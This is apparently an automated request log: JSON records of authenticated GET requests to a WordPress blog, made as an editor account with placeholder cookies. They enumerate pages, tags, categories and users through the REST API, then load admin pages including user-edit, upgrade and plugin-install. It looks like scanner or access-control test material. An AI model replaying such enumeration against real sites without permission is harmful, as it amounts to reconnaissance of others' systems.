{"method": "GET", "target": "/wp-json/wp/v2/pages?slug=.htaccess-guide", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/tags?slug=python3-tutorial", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/tags?slug=powershell-basics", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/tags?slug=.htaccess-guide", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/categories?slug=python3-tutorial", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/categories?slug=powershell-basics", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/categories?slug=.htaccess-guide", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/users?slug=python3-tutorial", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/users?slug=powershell-basics", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/users?slug=.htaccess-guide", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/oembed/1.0/embed?url=http%3A%2F%2Fblog.example%2Fpowershell-basics%2F", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-login.php?redirect_to=http%3A%2F%2Fblog.example%2Fpowershell-basics%2F", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/powershell-basics/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php?url=http%3A%2F%2Fblog.example%2Fpowershell-basics%2F", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/powershell-basics/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-admin/term.php?taxonomy=post_tag&tag_ID=2&post_type=post&wp_http_referer=%2Fwp-admin%2Fedit-tags.php%3Ftaxonomy%3Dpost_tag%26s%3Dpython3", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag&s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/term.php?taxonomy=post_tag&tag_ID=2&post_type=post&wp_http_referer=%2Fwp-admin%2Fedit-tags.php%3Ftaxonomy%3Dpost_tag%26s%3Dpowershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag&s=powershell", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/term.php?taxonomy=post_tag&tag_ID=2&post_type=post&wp_http_referer=%2Fwp-admin%2Fedit-tags.php%3Ftaxonomy%3Dpost_tag%26s%3D.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag&s=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/user-edit.php?user_id=2&wp_http_referer=%2Fwp-admin%2Fusers.php%3Fs%3Dpython3", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/user-edit.php?user_id=2&wp_http_referer=%2Fwp-admin%2Fusers.php%3Fs%3Dpowershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php?s=powershell", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/user-edit.php?user_id=2&wp_http_referer=%2Fwp-admin%2Fusers.php%3Fs%3D.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php?s=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php?return=%2Fwp-admin%2Fedit.php%3Fs%3Dpython3", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php?return=%2Fwp-admin%2Fedit.php%3Fs%3Dpowershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=powershell", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php?return=%2Fwp-admin%2Fedit.php%3Fs%3D.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php?url=http%3A%2F%2Fblog.example%2F%3Fs%3Dpython3", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php?url=http%3A%2F%2Fblog.example%2F%3Fs%3Dpowershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?s=powershell", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php?url=http%3A%2F%2Fblog.example%2F%3Fs%3D.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?s=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/upgrade.php?_wp_http_referer=%2Fwp-admin%2Fedit.php%3Fs%3Dpython3", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-install.php?tab=plugin-information&plugin=docker-helper&TB_iframe=true&width=772&height=550", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-install.php?tab=plugin-information&plugin=powershell-tools&TB_iframe=true&width=772&height=550", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
